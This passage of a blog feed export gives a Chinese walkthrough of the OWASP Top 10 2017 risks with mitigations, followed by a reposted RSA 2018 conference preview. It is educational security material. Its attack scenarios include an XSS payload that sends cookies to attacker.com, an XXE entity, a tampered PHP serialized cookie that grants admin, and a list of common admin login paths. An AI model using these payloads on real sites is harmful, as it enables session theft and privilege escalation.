class="hljs-meta"><!ENTITY <span class="hljs-keyword">xxe</span> <span class="hljs-keyword">SYSTEM</span> <span class="hljs-string">"file:///dev/random"</span> ></span>]><br></code></pre></td></tr></table></figure><h4 id="3-防范措施-3"><a href="#3-防范措施-3" class="headerlink" title="3.防范措施"></a>3.防范措施</h4><p>培训开发者是识别和减轻 XXE 攻击的有效方法,除此之外,预防还需要以下措施:</p><ul><li>尽可能使用相较不复杂的数据格式(e.g. JSON),并且避免序列化敏感数据</li><li>给所有应用程序或潜在操作系统使用的 XML 处理器和库打补丁或升级操作</li><li>在应用程序中,所有 XML 解析器禁用 XML 外部实体和 DTD 操作</li><li>…</li></ul><h3 id="A5-2017-Broken-Access-Control"><a href="#A5-2017-Broken-Access-Control" class="headerlink" title="A5: 2017-Broken Access Control"></a><strong>A5: 2017-Broken Access Control</strong></h3><h4 id="1-产生背景-4"><a href="#1-产生背景-4" class="headerlink" title="1.产生背景"></a>1.产生背景</h4><p>访问控制实施一系列策略,例如用户不能进行超出授权范围之外的操作。访问控制失败通常意味着非授权信息披露、所有数据的修改或破话,<strong>甚至进行用户限制之外的商业操作</strong>。常见的访问控制漏洞造成原因包括:</p><ul><li>通过修改URL、内部应用状态或 HTML 页面,甚至单纯使用一个自定义 API 攻击工具的方式,攻击者可以绕过访问控制检查</li><li>允许修改其他用户记录的主码,这会导致攻击者可以浏览或修改其他人的账号</li><li>错误的 CORS 配置造成非授权 API 访问</li><li>…</li></ul><h4 id="2-攻击场景-3"><a href="#2-攻击场景-3" class="headerlink" title="2.攻击场景"></a>2.攻击场景</h4><p><strong>场景 #1</strong></p><p>应用程序使用访问账户信息的未经验证的 SQL 语句:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs java">pstmt.setString(<span class="hljs-number">1</span>, request.getParameter(<span class="hljs-string">"acct"</span>)); <br><span class="hljs-type">ResultSet</span> <span class="hljs-variable">results</span> <span class="hljs-operator">=</span> pstmt.executeQuery( );<br></code></pre></td></tr></table></figure><p>攻击者单纯通过修改浏览器 acct 参数达到获取任何想要账号信息的目的。如果验证不当,攻击者(理论上)可以访问任意用户的账号信息(PS:细思极恐呀 ヽ(*。>Д<)o゜)。</p><p><strong>场景 #2</strong></p><p>攻击者迫使浏览器定位(特定的) URLs。例如,访问管理员页面需要管理员权限。</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs html">http://example.com/app/getappInfo <br>http://example.com/app/admin_getappInfo<br></code></pre></td></tr></table></figure><p>如果未经授权的用户可以访问任意页面,这是一种漏洞。再如果非管理员可以访问管理员页面,也是一个漏洞。</p><blockquote><p>这里查找资料发现简单的网站后台登陆一般采用如下渠道:<br><a href="http://www.site.com/admin">www.site.com/admin</a><br><a href="http://www.site.com/administrator">www.site.com/administrator</a><br><a href="http://www.site.com/login">www.site.com/login</a><br><a href="http://www.site.com/wp-login.php">www.site.com/wp-login.php</a><br><a href="http://www.site.com/admin.php">www.site.com/admin.php</a></p></blockquote><h4 id="3-防范措施-4"><a href="#3-防范措施-4" class="headerlink" title="3.防范措施"></a>3.防范措施</h4><p>为了防范访问控制机制破损,可以采取以下措施:</p><ul><li>除了公共资源之外,其他资源的访问设置成默认拒绝</li><li>禁用网页服务器目录列表功能并且确保文件元数据(e.g. git)和备份文件没有显露在 web roots 目录下</li><li>限制 API 和控制器访问频率,最小化招到自动攻击工具的损害</li><li>…</li></ul><h3 id="A6-2017-Security-Misconfiguration"><a href="#A6-2017-Security-Misconfiguration" class="headerlink" title="A6: 2017-Security Misconfiguration"></a><strong>A6: 2017-Security Misconfiguration</strong></h3><h4 id="1-产生背景-5"><a href="#1-产生背景-5" class="headerlink" title="1.产生背景"></a>1.产生背景</h4><p>当应用程序出现下列情况时,应用程序容易受到攻击:</p><ul><li>应用程序栈的任意部分缺失合理安全加强配置或者云服务配置了不当的允许权限</li><li>启用或安装了不需要的特性</li><li>启用并且未修改默认账户和密码</li><li>…</li></ul><h4 id="2-攻击场景-4"><a href="#2-攻击场景-4" class="headerlink" title="2.攻击场景"></a>2.攻击场景</h4><p><strong>场景 #1</strong></p><p>服务器端没有禁用目录列表功能(directory listing)。在这种情况下,攻击者可以轻而易举的发现服务器目录。接着找到并下载编译好的 Java 类,从而通过逆向工程手段查看源代码。最后,攻击者就可以找到应用程序中存在的严重访问控制漏洞。</p><p><strong>场景 #2</strong></p><p>应用程序服务器配置允许返回用户详细的错误信息,例如栈追溯等。这有可能会暴露敏感信息或潜在漏洞(如已经存在漏洞的组建版本信息)。</p><p><strong>场景 #3</strong></p><p>云服务提供商(CSP,cloud service provider)默认开启了共享允许权限,其他 CSP 用户可以访问。这会导致(攻击者)可以读取存储在云存储中的敏感数据。</p><h4 id="3-防范措施-5"><a href="#3-防范措施-5" class="headerlink" title="3.防范措施"></a>3.防范措施</h4><p>应该实施包括以下措施在内的安全安装流程:</p><ul><li>一个可重复操作的(安全)加固流程可以加速整个进程,方便部署到其他合理锁住的环境</li><li>打造一个最小化的平台,去除其他任何不需要的特性、组件、文档和示例。移除或不安装任何未使用的特性和框架</li></ul><blockquote><p>这里我突然想起以前使用 Visual Studio 的时候,每次写完一个程序文件,VS 都会自动提示存在哪些未使用的组件或框架,建议单击一键删除,我想原因不单单是我想的节省代码空间,更重要的是本条防范攻击措施所提到的移除或不安装任何未使用的特性和框架,最小化存在组件或框架配置不当造成安全漏洞的可能性。</p></blockquote><ul><li>制定一个验证所有环境中配置和设置安全有效性的自动化流程</li><li>…</li></ul><h3 id="A7-2017-Cross-Site-Scripting-XSS"><a href="#A7-2017-Cross-Site-Scripting-XSS" class="headerlink" title="A7: 2017-Cross-Site Scripting (XSS)"></a><strong>A7: 2017-Cross-Site Scripting (XSS)</strong></h3><h4 id="1-产生背景-6"><a href="#1-产生背景-6" class="headerlink" title="1.产生背景"></a>1.产生背景</h4><p>当下针对用户浏览器,有三种形式的 XSS 攻击:</p><ul><li>反射 XSS(Reflected XSS)</li><li>存储 XSS(Stored XSS)</li><li>文档对象模型 XSS(DOM XSS)</li></ul><p>典型的 XSS 攻击包括会话偷窃、账户接管、MFA 忽略、DOM 节点替换或损坏以及针对用户浏览器的恶意软件下载、键盘记录或其他客户端攻击。</p><h4 id="2-攻击场景-5"><a href="#2-攻击场景-5" class="headerlink" title="2.攻击场景"></a>2.攻击场景</h4><p><strong>场景 #1</strong></p><p>在以下 HTML 代码块构建过程中,应用程序未经验证就使用了非可信数据:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs html">(String) page += "<span class="hljs-tag"><<span class="hljs-name">input</span> <span class="hljs-attr">name</span>=<span class="hljs-string">'creditcard'</span> <span class="hljs-attr">type</span>=<span class="hljs-string">'TEXT'</span> <span class="hljs-attr">value</span>=<span class="hljs-string">'" + request.getParameter("CC") + "'</span>></span>";<br></code></pre></td></tr></table></figure><p>攻击者把浏览器的 ‘CC’ 参数修改为如下形式:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs html">'><span class="hljs-tag"><<span class="hljs-name">script</span>></span>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?<br>foo='+document.cookie<span class="hljs-tag"></<span class="hljs-name">script</span>></span>'.<br></code></pre></td></tr></table></figure><p>这种攻击可以导致受害者会话 ID(session ID)发送到攻击者网站,使得攻击者能够劫持用户的当前会话(current session)。</p><p><strong>提示:</strong>攻击者可以使用 XSS 破坏任何可能部署的自动化跨站点请求伪造(CSRF)。</p><h4 id="3-防范措施-6"><a href="#3-防范措施-6" class="headerlink" title="3.防范措施"></a>3.防范措施</h4><p>防范 XSS 攻击者需要将非可信数据与活跃浏览器内容分离,措施包括:</p><ul><li>使用设计之初带有自动化 XSS 逃逸功能的框架,例如最新版的 Ruby on Rails,React JS</li><li>基于 HTML 输出的上下文,逃避任何不受信任的 HTTP 请求数据可以解决反射和存储 XSS 漏洞</li><li>…</li></ul><h3 id="A8-2017-Insecure-Deserialization"><a href="#A8-2017-Insecure-Deserialization" class="headerlink" title="A8: 2017-Insecure Deserialization"></a><strong>A8: 2017-Insecure Deserialization</strong></h3><h4 id="1-产生背景-7"><a href="#1-产生背景-7" class="headerlink" title="1.产生背景"></a>1.产生背景</h4><p>如果应用程序和 API 对攻击者发送的恶意或篡改后的对象进行反序列化操作,那么将会受到相应攻击,一般来说攻击主要有以下两种类型:</p><ul><li>当存在应用程序可用类能够在反序列化时或在反序列化之后改变行为的情况下,攻击者修改应用程序逻辑或实现任意远程代码执行的方式攻击相关对象或数据结构</li><li>典型的数据篡改攻击,例如访问控制相关攻击(使用现有的但内容被改变的数据结构)</li></ul><p>序列化可以用在应用的如下场景中:</p><ul><li>远程和内部进行通信(RPC/IPC)</li><li>无限协议、网络服务、消息代理</li><li>缓存/持久化</li><li>…</li></ul><blockquote><p>对于使用 Python 3.X 的小伙伴,官方文档明确提示:</p><p><strong>Warning:</strong>The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source. (警告:永远不要对<strong>非可信来源</strong>或<strong>非认证</strong>来源数据进行反序列化操作)</p></blockquote><h4 id="2-攻击场景-6"><a href="#2-攻击场景-6" class="headerlink" title="2.攻击场景"></a>2.攻击场景</h4><p><strong>场景 #1</strong></p><p>React 应用访问一系列 Spring Boot 微服务。作为程序员,他们尝试确保代码不可更改。他们想出的方案时序列化用户状态并传递给每个前后请求。攻击者注意到 “R00” Java 对象签名,然后使用 Java 序列杀手(JAVA Serial Killer)工具在服务器端获得远程代码执行权限。</p><p><strong>场景 #2</strong></p><p>一个 PHP 论坛用户使用 PHP 对象序列化来保存 “super” cookie,这个cookie 包含有用户 ID、角色、密码哈希值和其他状态:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php">a:<span class="hljs-number">4</span>:{i:<span class="hljs-number">0</span>;i:<span class="hljs-number">132</span>;i:<span class="hljs-number">1</span>;s:<span class="hljs-number">7</span>:<span class="hljs-string">"Mallory"</span>;i:<span class="hljs-number">2</span>;s:<span class="hljs-number">4</span>:<span class="hljs-string">"user"</span>; i:<span class="hljs-number">3</span>;s:<span class="hljs-number">32</span>:<span class="hljs-string">"b6a8b3bea87fe0e05022f8f3c88bc960"</span>;}<br></code></pre></td></tr></table></figure><p>攻击者改变序列化对象是他们可以获得管理员权限:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php">a:<span class="hljs-number">4</span>:{i:<span class="hljs-number">0</span>;i:<span class="hljs-number">1</span>;i:<span class="hljs-number">1</span>;s:<span class="hljs-number">5</span>:<span class="hljs-string">"Alice"</span>;i:<span class="hljs-number">2</span>;s:<span class="hljs-number">5</span>:<span class="hljs-string">"admin"</span>; i:<span class="hljs-number">3</span>;s:<span class="hljs-number">32</span>:<span class="hljs-string">"b6a8b3bea87fe0e05022f8f3c88bc960"</span>;}<br></code></pre></td></tr></table></figure><h4 id="3-防范措施-7"><a href="#3-防范措施-7" class="headerlink" title="3.防范措施"></a>3.防范措施</h4><p>唯一安全架构模式——不接受来自非可信来源的序列化对象或者使用仅接受原始数据类型的序列化媒介。如果做不到这点,可以考虑以下措施:</p><ul><li>实施完整性检查,例如每个序列化对象的数字签名,防止恶意对象创建或数据篡改</li><li>监测反序列化操作,如果用户经常反序列化就发送警报</li><li>尽可能的在低权限的环境中隔离运行反序列化代码</li><li>…</li></ul><h3 id="A9-2017-Using-Components-with-Known-Vulnerabilities"><a href="#A9-2017-Using-Components-with-Known-Vulnerabilities" class="headerlink" title="A9: 2017-Using Components with Known Vulnerabilities"></a><strong>A9: 2017-Using Components with Known Vulnerabilities</strong></h3><h4 id="1-产生背景-8"><a href="#1-产生背景-8" class="headerlink" title="1.产生背景"></a>1.产生背景</h4><p>如果出现以下情况,你的应用可能存在相关威胁风险:</p><ul><li>不了解所有组件的版本(包括客户端和服务器端)</li><li>使用的软件有漏洞、不受安全支持或是过期的</li><li>没有定期扫描漏洞,未订阅使用组件的安全公告</li><li>…</li></ul><h4 id="2-攻击场景-7"><a href="#2-攻击场景-7" class="headerlink" title="2.攻击场景"></a>2.攻击场景</h4><p> <strong>场景 #1</strong></p><p>因为组件通常在运行时和应用程序有相同的权限,因此一旦任意组件存在漏洞就可以导致严重影响。这些漏洞可能时偶然出现的(例如编写代码错误)或是有意而为之(例如组件的“后门”)下面时已被发现的存在挖掘组件漏洞风险的例子:</p><ul><li>CVE-2017-5638,Struts 2 远程代码执行漏洞可以导致服务器端任意代码的执行</li><li>由于 IoT 设备很难甚至几乎不可能打补丁修复,修复它们的漏洞的重要性就可想而知了(例如生物医学设备)</li></ul><p>当下,已有一些自动化工具可以帮助攻击者发现未打补丁或存在错误配置的系统。</p><h4 id="3-防范措施-8"><a href="#3-防范措施-8" class="headerlink" title="3.防范措施"></a>3.防范措施</h4><p>完备补丁管理流程:</p><ul><li>移除未使用的 dependencies 、不需要的特性、组件、文件和文档</li><li>仅从安全链接获取官方版本的组件</li><li>监测不再维护或不在更新老版本安全补丁的库和组件。</li><li>…</li></ul><h3 id="A10-2017-Insufficient-Logging-amp-Monitoring"><a href="#A10-2017-Insufficient-Logging-amp-Monitoring" class="headerlink" title="A10: 2017-Insufficient Logging & Monitoring"></a><strong>A10: 2017-Insufficient Logging & Monitoring</strong></h3><h4 id="1-产生背景-9"><a href="#1-产生背景-9" class="headerlink" title="1.产生背景"></a>1.产生背景</h4><p>不足日志记录、检测、监控和活跃响应可能发现在任何时间:</p><ul><li>未记录审计事件,例如登陆、失败登陆和高金额的交易</li><li>警告和错误未生成、不充分或不清晰的日志消息</li><li>应用程序和 API 日历没有监控可疑活动</li><li>…</li></ul><p>如果你使得日志和警报事件对用户或攻击者可见,那么你存在信息泄露的风险。</p><h4 id="2-攻击场景-8"><a href="#2-攻击场景-8" class="headerlink" title="2.攻击场景"></a>2.攻击场景</h4><p><strong>场景 #1</strong></p><p>由一小型团队运作的开源论文软件通过软件漏洞被黑了。攻击者清楚了包含下个版本信息的内部源代码库和所有的论坛内容。虽然可以恢复源代码,但缺乏监控、日志记录或入侵预警导致了更加严重的事故。<strong>这个事件的结果是论坛软件逐渐淡出人们视野,用户不再使用</strong>。</p><p><strong>场景 #2</strong></p><p>攻击者使用常见密码进行账号扫描。他们可以接管所有使用这个密码的账号。对于其他用户,这仅仅留下一个错误登陆记录。过了些天后,攻击者可能会使用不同的密码进行类似的操作。</p><blockquote><p>评述:这个攻击场景中,日志监控系统未能发挥有效作用,识别恶意撞库攻击,采取响应措施,“纵容恶意攻击事件的再次发生”!</p></blockquote><h4 id="3-防范措施-9"><a href="#3-防范措施-9" class="headerlink" title="3.防范措施"></a>3.防范措施</h4><p>对于应用程序存储数据获取处理数据中风险,需要采取以下措施加强防范:</p><ul><li>确保充分记录所有搜有登陆、访问控制失败和服务器端输入验证失败,并且配置足够的上下文信息,去识别可疑或恶意账号,维持充足的时间以备接下来的取证分析。</li><li>确保日志生成格式可以被中央日志管理解决方案接受归并</li><li>确保所有高金额交易有一个完整性控制审计记录,以防止记录篡改或删除</li><li>…</li></ul><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>本次我们介绍了 Top 10 安全威胁的<strong>常见攻击场景</strong>、<strong>攻击场景</strong>和<strong>防范措施</strong>等内容,通过这篇文章可以对 OWASP Top 10 - 2017 十大最严重网络应用安全威胁的产生背景、攻击场景、如何做好防范措施有个大致的了解 ~</p><p>推荐阅读:这里附上 OWASP Top 10 - 2017 报告中英文版链接,但还是建议大家首选英文版阅读,或者中英文对照阅读,个人阅读中文版发现其中有一些地方翻译欠妥,容易造成理解困难 ~</p><ol><li><a href="https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf">OWASP Top 10 - 2017 报告英文版</a></li><li><a href="http://www.owasp.org.cn/owasp-project/OWASPTop102017v1.3.pdf">OWASP Top 10 - 2017 报告中文版</a></li></ol>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>OWASP</tag>
<tag>安全风险</tag>
<tag>报告</tag>
</tags>
</entry>
<entry>
<title>【转载】RAS 2018大会前瞻:热点议题与CISO的关注重点</title>
<link href="/2018/04/15/RAS-2018/"/>
<url>/2018/04/15/RAS-2018/</url>
<content type="html"><![CDATA[<blockquote><p>一年一度的 RSA 大会(美国信息安全大会)将于当地时间 4 月 16 日到 4 月 20 日在美国旧金山举行。作为圈内影响力较大的会议,RSA 每年的议题和环节都有值得关注的亮点。今年预计有 500 家安全厂商参展,而参会者将有望突破 4 万人。其中,有很大一部分是安全行业从业者以及安全高管,他们的意见和经验也颇有参考价值。</p></blockquote><p><strong>今年 RSA 大会的主题是“Now Matters”,主页列出了将近 20 个主要议题</strong>。与 DEF CON 与 BlackHat 的纯技术议题相比,RSA 的议题更加多样化,受众范围也更广。总体来看,有围绕密码学的专家讨论会、有美国国土安全部部长关于网络安全战略以及对抗网络攻击、数据泄露和网络犯罪等恶意行为的措施、也有安全研究专家对新型攻击技术与未来趋势的探讨。当然,还有目前大热的区块链、人工智能、物联网安全、网络安全法规、企业安全建设、网络战争等相关的议题,甚至还有网红、畅销书作家和优秀女性从业者等来讲解心理建设、成功学等相关的内容,这让 RSA 大会在高科技之余,多了一些人文气息。</p><p><img src="http://image.3001.net/images/20180413/15236075098279.jpg"></p><p>参考 RSA 大会的安全专家、高级内容经理 Britta Glade 的观点,今年 RSA 大会的议题折射出 2018 年网络安全的几大热点趋势:<strong>人工智能</strong>、<strong>人为操纵与人的因素</strong>、<strong>ICS 与供应链攻击</strong>、<strong>物联网与医疗设备</strong>、<strong>情报共享</strong>、<strong>身份</strong>、<strong>基础设施</strong>、<strong>GDPR</strong>、<strong>风险管理与恢复能力</strong>等。</p><h3 id="有什么新创意"><a href="#有什么新创意" class="headerlink" title="有什么新创意"></a>有什么新创意</h3><p><strong>一大亮点是 Broadcast Alley,相当于 RSAC 2018 的“非官方新闻室”</strong>。出版商,赞助商,合作伙伴和参展商可以在 Broadcast Alley 上预留一个录音棚来录制采访或现场新闻报道。多个广播电台还将设立各自的展台,记录对网络安全专家的专访。</p><p>另一个亮点是<strong>晚间 Ninja 系列会议</strong>,在周二(4 月 17 日)和周三(4 月 18 日)晚上 6 点半开始举行,主要探讨隐私与安全、网络可用性和可扩展性战略等充满挑战的技术解决方案。</p><p>最后,是作为 AdvancedU 一部分的 <strong>RSAC onDemand 计划</strong>。无法参加 RSAC 的个人而言可以利用这个珍贵的机会,选择实时对话和按需录制,第一时间了解大会详情。这个计划主要是针对没有时间或没有财力前往现场、但又对网络安全非常感兴趣的人,为他们提供学习机会。</p><p><img src="http://image.3001.net/images/20180413/15236075766305.jpg"></p><h3 id="重点议题"><a href="#重点议题" class="headerlink" title="重点议题"></a>重点议题</h3><h4 id="The-Hugh-Thompson-Show-人工智能主题"><a href="#The-Hugh-Thompson-Show-人工智能主题" class="headerlink" title="The Hugh Thompson Show 人工智能主题"></a>The Hugh Thompson Show 人工智能主题</h4><p>2018 年 4 月 20 日 13:00</p><p>人工智能是敌是友?是救世主还是恶魔?是机遇还是危险?这都取决于人类对于人工智能的应用方式及使用目的。</p><p>安全专家、RSA 会议计划委员会主席休·汤普森博士将与 Dawn Song 博士(加州大学伯克利分校电子工程与计算机科学系教授),Kate Darling 博士(机器人伴侣、人机交互,机器人伦理、知识产权理论与政策,麻省理工学院媒体实验室)和 Sebastian Thrun 博士(Udacity 创始人兼总裁)一起探讨人工智能的多层次内容,包括人工智能的应用及其可能对人性带来的帮助或伤害。</p><h4 id="信息安全行业的过去、现在与未来"><a href="#信息安全行业的过去、现在与未来" class="headerlink" title="信息安全行业的过去、现在与未来"></a>信息安全行业的过去、现在与未来</h4><p>2018 年 4 月 17 日 9:20</p><p>RSA 首席技术官 Zulfikar Ramzan、Signal 创始人 Moxie Marlinspike、MIT 研究院教授 Ronald Rivest、以色列 Weizmann 研究院计算机科学教授 Adi Shamir、Cryptomathic 公司密码学家与安全专家 Whitfield Diffie 以及安全研究员与顾问 Paul Kocher 等行业创始人与专家将围绕信息安全行业的发展各抒己见。</p><h4 id="五种最危险的新攻击技术及其未来趋势"><a href="#五种最危险的新攻击技术及其未来趋势" class="headerlink" title="五种最危险的新攻击技术及其未来趋势"></a>五种最危险的新攻击技术及其未来趋势</h4><p>2018 年 4 月 18 日11:15</p><p>来自 SANS 研究所的安全小组成员、美国顶级黑客 Ed Skoudis、Internet Storm Center 负责人 Johannes Ullrich、英国网络攻击研究专家 James Lyne 以及 SANS 研究所主任兼创始人 Alan Paller(本次主题研讨会主持人)将共同探讨当前最新的攻击技术,探讨攻击技术的实现过程、应对方式以及未来相应的防范措施。</p><h4 id="美国国土安全部部长-Kirstjen-Nielsen-讲话与-CNBC采访"><a href="#美国国土安全部部长-Kirstjen-Nielsen-讲话与-CNBC采访" class="headerlink" title="美国国土安全部部长 Kirstjen Nielsen 讲话与 CNBC采访"></a>美国国土安全部部长 Kirstjen Nielsen 讲话与 CNBC采访</h4><p>2018 年 4 月 17 日 10:05-10:30</p><p>美国 DHS 部长 Kirstjen Nielsen 将介绍美国的网络安全战略以及保护本国公民和组织免受网络攻击、数据泄露和网络犯罪等恶意行动影响的措施。另外她还将接受 CNBC 记者的聊天式采访,探讨国土安全部应对新型网络威胁的举措。</p><h4 id="网络暴力的代价"><a href="#网络暴力的代价" class="headerlink" title="网络暴力的代价"></a>网络暴力的代价</h4><p>2018 年 4 月 18 日 16:25-16:50</p><p>公众演说家、作家及社会活动家 Monica Lewinsky 将会探讨网络暴力的话题,倡导更安全的社交媒体环境。</p><h4 id="其他演讲嘉宾"><a href="#其他演讲嘉宾" class="headerlink" title="其他演讲嘉宾"></a>其他演讲嘉宾</h4><blockquote><p>Akamai 首席安全官 Andy Ellis 和网络安全副总裁 Josh Shaul</p><p>RSA 总裁 Rohit Ghai</p><p>赛门铁克网络安全服务高级副总裁兼总经理 Samir Kapuria</p><p>Juniper 首席执行官 Rami Rahim</p><p>微软总裁 Brad Smith</p><p>思科首席安全和信任官员高级副总裁 John N. Stewart</p><p>McAfee 首席执行官 Christopher D. Young</p><p>IBM Security 总经理 Marc van Zadelhoff</p></blockquote><h3 id="CISO-最期待什么?"><a href="#CISO-最期待什么?" class="headerlink" title="CISO 最期待什么?"></a>CISO 最期待什么?</h3><h4 id="1-适合高管层级的威胁情报"><a href="#1-适合高管层级的威胁情报" class="headerlink" title="1. 适合高管层级的威胁情报"></a>1. 适合高管层级的威胁情报</h4><p>网络安全事件越来越多,业务高管团队对网络风险相关事务的了解也持续深化。CISO 需要获取网络攻击者的信息及相关攻击分析结论,并向董事会汇报。<strong>对于 CISO 而言</strong>,技术上的 IoC、漏洞 exploit或者恶意软件变种并不是重点,<strong>他们更关注攻击者是谁、攻击原因和目的是什么、攻击者所采取的战术、技术与程序(即 TTP),同时也需要收集、整理相关资料交给高管团队</strong>。</p><p>这些情报已经超出了基础网络攻击的范畴,因为 CISO 作为管理者,希望也需要更透彻地理解地下网络的动态、欺诈性网站、凭证失窃乃至第三方风险管理等内容,这些都会对整个组织机构的运作产生重大影响。</p><p>为了更好地获取相关信息,CISO 可以多关注 BitSight、Digital Shadows、Flashpoint 等厂商,了解他们在大会上的独到见解。</p><h4 id="2-集成化安全平台"><a href="#2-集成化安全平台" class="headerlink" title="2. 集成化安全平台"></a>2. 集成化安全平台</h4><p>很多 CISO 都在工作中持续推进合并及集成各类安全技术的项目。个别产品和独立的技术已经不再有吸引力,<strong>CISO 们更倾向于各类安全平台的整合</strong>。举例来说,他们希望未来看到更多的集成化威胁防御,而非具体的端点安全、恶意软件沙箱或机器学习等单个的技术。</p><p><strong>在后端层面,SOAPA(安全运营与分析平台架构)成为 CISO 的关注焦点</strong>。此类架构能够将 SIEM、UEBA、EDR 以及安全自动化与编排工具等不同运营工具结合起来,提供集成化的业务与服务。此外,异构架构、API以及开源软件等多样化的平台也是 CISO 们希望看到的选择。</p><h4 id="3-业务风险"><a href="#3-业务风险" class="headerlink" title="3. 业务风险"></a>3. 业务风险</h4><p>CISO 在业务规划与战略制定过程中的参与度越来越高,以确保能够评估风险、实施控制并进行风险管理。RSA 大会原本不太关注风险管理,但是会探讨数字化转型、物联网安全以及 NIST(美国国家标准与技术研究所)网络安全框架等相关议题。</p><h4 id="4-不断变化的安全边界"><a href="#4-不断变化的安全边界" class="headerlink" title="4. 不断变化的安全边界"></a>4. 不断变化的安全边界</h4><p>几乎每一位 CISO 都在讨论移动与云技术对旧有网络边界的颠覆性影响。如今,众多企业正在将身份认证与数据安全视为不断拓展的新边界。RSA 大会在这方面主要进行理论性(与 GDPR、即通用数据保护条例相关)的探讨。其中,身份讨论将围绕多因素身份验证与软件定义边界(SDP、Cyxtera、谷歌以及 Zscaler等为代表)开展,数据安全讨论则将集中在数据丢失保护(以 Digital Guardian、Forcepoint、赛门铁克等公司为代表)以及加密层面的内容。</p><p><strong>作为管理者,CISO 更关注人员与流程,而非技术因素</strong>。目前,70% 的企业表示受到安全技术能力短缺的影响。也希望以后的行业大会能在技术之外,更多地关注这些方面。</p><p><img src="http://image.3001.net/images/20180413/1523607781799.png"></p>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>转载</tag>
<tag>RAS</tag>
<tag>CISO</tag>
</tags>
</entry>
<entry>
<title>OWASP TOP 10 - 2017 Part 1</title>
<link href="/2018/04/13/OWASP-Top10-2017/"/>
<url>/2018/04/13/OWASP-Top10-2017/</url>
<content type="html"><![CDATA[<p>今天,我们来一起回顾下 <strong>2017年 OWASP TOP 10 安全风险报告</strong> 的主要内容,了解 2013 到 2017 全球安全风险发现了哪些变化?有哪些新兴风险类型?本文大部分内容翻译自 <a href="https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf">报告原文</a> ,如需阅读详情,请自行浏览访问 ~</p><h3 id="OWASP-简介"><a href="#OWASP-简介" class="headerlink" title="OWASP 简介"></a>OWASP 简介</h3><blockquote><p>OWASP (Open Web Application Security Project) 是一个开源的、非盈利的全球性安全组织,致力于应用软件的安全研究。我们的使命是使应用软件更加安全,使企业和组织能够对应用安全风险作出更清晰的决策。目前OWASP全球拥有220个分部近六万名会员,共同推动了安全标准、安全测试工具、安全指导手册等应用安全技术的发展。</p></blockquote><h3 id="OWASP-Top-10-2017"><a href="#OWASP-Top-10-2017" class="headerlink" title="OWASP Top 10 - 2017"></a>OWASP Top 10 - 2017</h3><p><strong>提要</strong></p><ul><li>更新: 2017 Top 10 主要更新在于添加了若干个新的问题,其中有两个是由社区中选出的 —— <strong>A8:2017-不安全反序列化</strong> 和 <strong>A10:2017-不充分的登陆和监控</strong> </li><li>来源: OWASP Top 10 - 2017 主要基于超过 40 个来自专注应用安全领域的公司和一份超过500人的行业调查报告得出。数据横跨成百上千的组织机构收集的漏洞和超过 100,000 真实应用和 APIs</li><li>编撰目的: 向<strong>开发者</strong>、<strong>设计师</strong>、<strong>架构师</strong>、<strong>经理</strong>和<strong>组织机构</strong>传播关于最常见和最重要网络应用安全风险的后果;同时提供一些基础技术指导 —— 保护这些高风险区域,提供现在开始着手处理的指南</li><li>风险确定: OWASP Top 10 聚焦于识别对广泛范围内的公司来说最严重的网络应用安全风险。对于每个风险,OWASP 都会使用简单评分模式,提供相关性和技术影响的基本信息</li></ul><p><strong>什么是应用安全风险</strong></p><p>攻击者们会通过你的应用使用多种潜在路径损害你的生意或组织。每条路径代表一个也许会或不会严重到引起注意的风险。</p><p><img src="http://f.cl.ly/items/1H2B1r2a0d2u27010b1X/What%20Are%20Application%20Security%20Risks.png" alt="What Are Application Security Risks?"></p><center> 图片来源: OWASP Top 10 - 2017 Report <center><ul><li>Threat Agents ——威胁来源</li><li>Attack Vectors —— 攻击载体</li><li>Security Weakness —— 安全薄弱点</li><li>Security Controls —— 安全控制</li><li>Technical Impacts —— 技术影响</li><li>Business Impacts —— 商业影响</li></ul><p>有时这些路径很容易找到和利用,有时候它们又极其困难。类似的,这种损害也许没造成实质结果,也可能让你破产。为了得到组织的风险情况,我们可以评估每个威胁来源、攻击载体等之间的相似性,并将它们和对你所在组织造成的技术、商业影响估值合并。这样,我们可以最终确定总体风险。</p><p><strong>Top 10 安全风险内容</strong></p><table><thead><tr><th align="center">Top N</th><th align="center">介绍</th></tr></thead><tbody><tr><td align="center">A1: 2017-Injection(注入攻击)</td><td align="center">注入攻击发生在不可信数据作为一条命令或查询的解析器被发送时,例如: SQL 、NoSQL、OS 和 LDAP 注入。攻击者的恶意数据可以迷惑解析器以执行非预设的命令或没有正确验证情况获取数据</td></tr><tr><td align="center">A2: 2017-Broken Authentication(验证破坏)</td><td align="center">认证和会话管理方面的应用功能经常得不到合规开发,这使得攻击者可以窃取密码、密钥或会话,又或者挖掘其他开发缺陷,暂时或永久地假设其他用户身份。</td></tr><tr><td align="center">A3: 2017-Sensitive Data Exposure(敏感数据暴漏)</td><td align="center">许多网页应用程序和 API 没有妥善地保护敏感数据 (e.g. 金融数据、医疗数据和 PII)。攻击者可以窃取或修改这些弱保护的数据,然后实施信用卡欺诈、身份窃取或进行其他犯罪行为。敏感数据没有得到额外措施保护情况 (e.g. 在存储或传输过程中加密、与浏览器交互时格外小心等),可能会被窃取</td></tr><tr><td align="center">A4: 2017-XML External Entities (XXE)(XML 外部实体)</td><td align="center">很多老旧配置的 XML 处理器在 XML 文档内评估外部实体参考。外部实体可以通过使用文件 URI 